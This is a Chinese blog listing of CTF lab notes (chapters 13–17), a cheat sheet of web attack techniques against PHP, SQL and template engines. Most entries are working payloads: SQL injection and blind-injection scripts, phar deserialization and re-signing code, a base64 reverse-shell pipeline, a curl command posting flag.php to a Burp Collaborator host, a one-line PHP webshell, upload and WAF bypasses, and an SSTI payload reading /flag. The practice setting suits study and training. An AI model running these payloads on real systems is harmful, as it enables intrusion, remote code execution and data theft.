[靶场笔记]第十七章

mid字符串指针控制 在sql注入时,如果最后dump flag的长度被限制,可以用mid函数控制输出指针,比如下面这句payload -1%27/**/union/**/select/**/1,database(),mid(group_concat(id,flag),1,20)/**/from/**/test_db.flag%23 修改mid的值就行 phar反序化 这里存一段phar反序化的初始化代码(更多内容可以看这里) <?php class example {} $o = new example(); @unlink("example.phar");//这行可有可无 $phar = new Phar("example.phar"); //后缀必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件 $phar->stopBuffering();//签名自动计算 ?> 由于phar在存储时使用的是序列化后的数据,因此在使用phar://伪协议读取phar文件时会自动执行反序化函数,就能达到反序化的目的。并且phar文件是无所谓后缀的,只要数据流本质是压缩文件即可,可以随意更改为png等不易被waf干掉的后缀 补充一点,生成后的phar文件由meta-data、meta-data签名(默认是sha1,20字节)和签名格式(8字节)组成。如果碰到_wakeup魔术方法需要绕过,要改phar内容,就要对修改过的phar文件进行重新签名,否则会无法执行,下面是重新签名的示例 from hashlib import sha1 import gzip file = open('phar.phar', 'rb').read() #data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup data = file[:-28]#要签名的部分是文件头到meta-data的数据。 final = file[-8:]#签名格式 newfile = data+sha1(data).digest()+final open('newpoc.phar', 'wb').write(newfile) #生成新文件后如果还碰到__HALT_COMPILER();过滤,可以用gzip压缩使其消失 newf = gzip.compress(newfile) with open(r'2.jpg', 'wb') as file: #更改文件后缀 file.write(newf) 自增绕过 ...

May 31, 2024 · 1 min · Red

[靶场笔记]第十六章

base64反弹shell 这里记录一个之前很常用但都没记录过的典中典payload echo YOUR_REVERSE_SHELL_PAYLOAD | base64 -d | bash curl外带 偶尔会碰到能够执行但没有echo回显的情况,此时就可以用curl外带,例如 curl `命令`.域名 这里的域名到dnslog获取。此外,还可以通过curl主动向我们发送一个POST,并携带我们需要的内容,这里以Burp的Collaborator Client为例 curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net -X指定发送一个POST请求,-F指定要发送的文件。xx是post包的参数,可以自定义。@是必须要带的,后面接文件名(也可以是绝对路径) 最短的一句话木马 如果上传处存在长度限制就可以用(非常极限的情况= =) <?=`nc /*`; 常用图片文件头 如果找不到jpg和png的时候可以用 bmp文件 BM gif文件 GIF php后缀名绕过黑名单 pht, phpt, phtml, php3,php4,php5,php6 带数字的后缀不一定能用,就算版本对应,首选pht ffifdyop 一段很神奇的字符串 短标签 当<?php被过滤时,可以使用诸如<?=、<% %>、<script language ="php">的短标签进行替代 联合查询 在使用联合查询时,最后一个符号可以使用闭合,不一定要注释 图片高宽设置 当在上传木马时,如果题目对图片高宽有要求,就可以使用 #define height 1 #define width 1 来设置图片高宽,且可以代替图片文件头(反而此时如果写了GIF89a,还会出现不让过的情况) fast destruct 简单说明一下 也就是说,当出现下面这样的代码时 执行完反序化后析构函数并不会执行。这种情况下,要想让析构函数在反序化后就被执行,唯一的办法就是让序列化的内容产生错误,导致反序化报错,就会使对象被提前销毁,从而达到提前反序化结束的效果。可以看这篇博客 分号绕过 一直没记录的一种经典绕过方式,可以用在绝大部分被过滤的指令和字符串(仅限在shell中可用,php中不可用) 例如 /bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i 要使用ls时,就可以用l’‘s替代

March 28, 2024 · 1 min · Red

[靶场笔记]第十五章

参数逃逸 在靶场笔记第三章里提到过下面这种方法来绕过一些带有函数限制的waf 但这种方法有点局限,就是flag文件名必须中规中矩,而且一点也不适用于实战 所以我们可以对这种方法进行一点拓展,让他能够实现rce而不仅仅只是简单的读flag 这里以一道题为例 <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢???????????? if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); } 首先题目并没有告诉你flag名字是什么,所以肯定是得rce。这里我们得用到一种类似靶场笔记第十三章中用到的方法 直接看payload ?1=passthru("ls");&code=eval(pos(pos(get_defined_vars()))); get_defined_vars函数可以接收来自其他任何自定义参数的传值,且不受题目中waf的影响 os.path.join os.path.join(path, *paths) 函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后 简单来说就是如果*paths参数所给的拼接路径是以/开头的,那么path所提供的路径就会被删除,将*paths提供的路径作为绝对路径进行访问 类似的python语言漏洞还有很多,可以参考这篇文章 _过滤 如果_在过滤清单里,可以用+代替 mysql特性 碰到一道奇怪的题,记录一下。先试了一下普通的sql注入,1’ or 1=1#,不行,看到wp在用'^0#,分号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等,这里需要利用sql的一个点“mysql弱类型转换”,空异或0会查到所有非数字开头的记录 0e 在弱判断下,以0e开头的数字都为0。这点可以用来绕过相同md5值但是不同字符串的判断,这里给出几个实用的值 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 数组绕过与string强转化 之前提过如果碰到类似下面这样的代码 是可以通过使a1与a2都为数组,从而绕过md5强判断的。但是如果完整代码变成了 此时如果array1和array2的传值是array1[]=1&array2=2,是没有办法绕过的。原因就是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去 所以我们需要一个,md5前不相等,而md5后全等的。这里记录几组不同加密方式的碰撞结果 md5: array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 sha1: array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 php的传值变量 不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线。 例如,当代码中写到$_GET['r_e_d']的时候,在url传值时可用使用/?r+e+d=来代替。就能够躲过_的过滤 同时,php的这两种常用传值还有另外一个特性,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`等价于`CTF_SHOW.COM`。就能够用来绕过一些特殊场景 parse_url函数解析漏洞 看这里 反序列化与_construct方法 众所周知,这个方法是在创建对象的时候会被调用的。同时,写反序列化链子的时候不仅可用给变量赋值,而且还能给这个方法写东西(是不是很神奇,emm其实是我还没有彻底摸透反序化原理的原因,可能等后面彻底理解透了会返回来改这条记录)。这是一个例子 ...

March 9, 2024 · 1 min · Red

[靶场笔记]第十四章

JWT爆破 JWT和session其实有一点点相像,但JWT拥有session所没有的密钥签名验证。具体可以看这篇文章。简单来说就是必须要有对应的key才能对修改后的JWT进行重新加密 但是这种key是可以通过爆破得来的,一般会用这个工具 bind_oob_xxe 一种比较少见的攻击方式,拿一道题记录一下 数据包如下 很清楚可以看到一个外部请求的xml文件, 先回顾一下什么是xml、dtd、xxe xml:一种标签语言,带有各种可人为定义功能和名字的标签。标签就类似C++中的函数 dtd:类似专门定义源xml文件中所声明函数的文件,类似python的库,但是以文件的形式单独存在 xxe:利用xml解释器允许外部引用其他文件或协议的功能制造任意文件读取、RCE等漏洞的攻击方法 而bind_oob_xxe和普通xxe又有所不同,下面这张图就很好的展示了bind_oob_xxe的攻击流程 简单来说就是:在攻击者vps中的dtd放置恶意指令,再由攻击者vps中的xml文件引用该dtd,让受害者主动访问攻击者vps即可。 而之所以这样“绕一圈”在dtd中写恶意指令而不是直接在xml中写的目的,就是为了规避受害者xml解释器对恶意指令的过滤。接下来就以这道题为例,先在vps创建一个xml文件 还有dtd文件 以及一个php文件。有一点要注意就是,攻击者vps必须带有php环境且能够正常运行,因为是受害者来请求攻击者的php 最后再用python简单起一个http服务就能拿到/etc/passwd文件 cookie传参 做ssti注入时如果碰到了这种黑名单 ' " _ args -- 无法使用 request.args os -- 无法导入os 不允许post -- 无法使用 request.value 可以考虑用request.cookies接受参数。有点类似php中的?a=$_GET[1]&1=shell 下面是一个例子(jinjia2): 原版payload:{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}} 改版payload: {{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}} cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag 一个有关php://filter的细节 重点在最后一项,也就是说,如果碰到下面这两段payload php://filter/read=convert.base64-encode/resource=file.txt php://filter/convert.base64-encode/resource=file.txt 如果都是应用在file_get_contents($file),效果是一样的。不加write和read就是交由情况自动判断读或写 date函数 先看看参数 date函数有个功能,就是会自动将\进行转义,例如date($name),将name值是\f\l\a\g时会自动被转义成flag unicode代码 这是一段看似正常实际暗藏玄机的代码。看到注释后面的高亮想必就已经看出问题来了,毕竟高亮是不会骗人的。将这段代码复制到ide中会得到下面这个样的代码 会发现和在网页中看到的完全不一样。不过也不用担心,按照正常的GET参数名进行url编码后即可

February 28, 2024 · 1 min · Red

[靶场笔记]第十三章

if判断 写国赛题的时候碰到的盲注方法(因为平时很少写盲注题所以记录一下,应该是一种很基本的盲注方法🤔️) if(判断语句,真结果,假结果) 下面是一个示例exp import requests s=requests.session() flag = '' for i in range(1,50): for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}': url="..." sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j) data={"id":sqls} c = s.post(url,data=data,timeout=10) if 'Hello' in c.text: flag += j print(flag) break base_convert() 这个函数可以在任意进制之间进行切换,例如 base_convert(37907361743,10,36) 就是把十进制转换为36进制,结果是_GET {1}&1=system 先来回顾一下这种用法 $a='system'; $a('cat/flag'); 此时很容易想到一种绕过方法 ?c=($_GET[a])($_GET[b])&a=system&b=cat /flag 但有时候题目狗到连[]都要给你过滤,此时就可以用标题的方法了 ?c=($_GET{a})($_GET{b})&a=system&b=cat /flag RC4加密 这里记录一个RC4加密脚本 from urllib import parse def s_init(key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 # key的中括号里面一长串是为了循环填充K盒 S[i], S[j] = S[j], S[i] return S def rc4_encode(plain_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in plain_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_decode(cipher_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in cipher_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_encode_url(plain_text, key): return parse.quote(rc4_encode(plain_text, key)) if __name__ == '__main__': # keys = str(input("Enter the key: ")) keys = 'HereIsTreasure' plain = input("Enter the plain text: ") print("The encoded text is: " + rc4_encode_url(plain, keys)) local_file:// 碰到了一个这样的过滤 ...

February 17, 2024 · 2 min · Red